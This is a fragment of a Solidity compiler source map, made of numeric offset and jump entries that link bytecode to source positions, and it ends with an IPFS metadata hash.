5769:4;5748:47;:::i;5806:168::-;5879:9;;;5910;;5927:15;;;5921:22;;5907:37;5897:71;;5948:18;;:::i;5979:356::-;6181:2;6163:21;;;6200:18;;;6193:30;6259:34;6254:2;6239:18;;6232:62;6326:2;6311:18;;5979:356::o;6340:127::-;6401:10;6396:3;6392:20;6389:1;6382:31;6432:4;6429:1;6422:15;6456:4;6453:1;6446:15;6472:980;6734:4;6782:3;6771:9;6767:19;6813:6;6802:9;6795:25;6839:2;6877:6;6872:2;6861:9;6857:18;6850:34;6920:3;6915:2;6904:9;6900:18;6893:31;6944:6;6979;6973:13;7010:6;7002;6995:22;7048:3;7037:9;7033:19;7026:26;;7087:2;7079:6;7075:15;7061:29;;7108:1;7118:195;7132:6;7129:1;7126:13;7118:195;;;7197:13;;-1:-1:-1;;;;;7193:39:1;7181:52;;7288:15;;;;7253:12;;;;7229:1;7147:9;7118:195;;;-1:-1:-1;;;;;;;7369:32:1;;;;7364:2;7349:18;;7342:60;-1:-1:-1;;;7433:3:1;7418:19;7411:35;7330:3;6472:980;-1:-1:-1;;;6472:980:1:o;7809:251::-;7879:6;7932:2;7920:9;7911:7;7907:23;7903:32;7900:52;;;7948:1;7945;7938:12;7900:52;7980:9;7974:16;7999:31;8024:5;7999:31;:::i;8986:306::-;9074:6;9082;9090;9143:2;9131:9;9122:7;9118:23;9114:32;9111:52;;;9159:1;9156;9149:12;9111:52;9188:9;9182:16;9172:26;;9238:2;9227:9;9223:18;9217:25;9207:35;;9282:2;9271:9;9267:18;9261:25;9251:35;;8986:306;;;;;:::o;9576:277::-;9643:6;9696:2;9684:9;9675:7;9671:23;9667:32;9664:52;;;9712:1;9709;9702:12;9664:52;9744:9;9738:16;9797:5;9790:13;9783:21;9776:5;9773:32;9763:60;;9819:1;9816;9809:12;12240:125;12305:9;;;12326:10;;;12323:36;;;12339:18;;:::i;12725:135::-;12764:3;12785:17;;;12782:43;;12805:18;;:::i;:::-;-1:-1:-1;12852:1:1;12841:13;;12725:135::o;12865:128::-;12932:9;;;12953:11;;;12950:37;;;12967:18;;:::i;12998:217::-;13038:1;13064;13054:132;;13108:10;13103:3;13099:20;13096:1;13089:31;13143:4;13140:1;13133:15;13171:4;13168:1;13161:15;13054:132;-1:-1:-1;13200:9:1;;12998:217::o

ipfs://e9cd54e41c4b13442da247a9e8d1304c939aa3825d3ceb6ee261b5de0eb7d239